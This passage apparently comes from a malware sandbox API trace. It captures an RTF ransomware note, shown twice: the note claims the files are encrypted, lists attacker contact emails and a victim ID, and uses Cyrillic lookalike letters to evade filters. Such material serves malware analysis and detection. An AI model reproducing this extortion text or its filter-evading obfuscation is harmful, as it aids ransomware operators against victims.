t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t 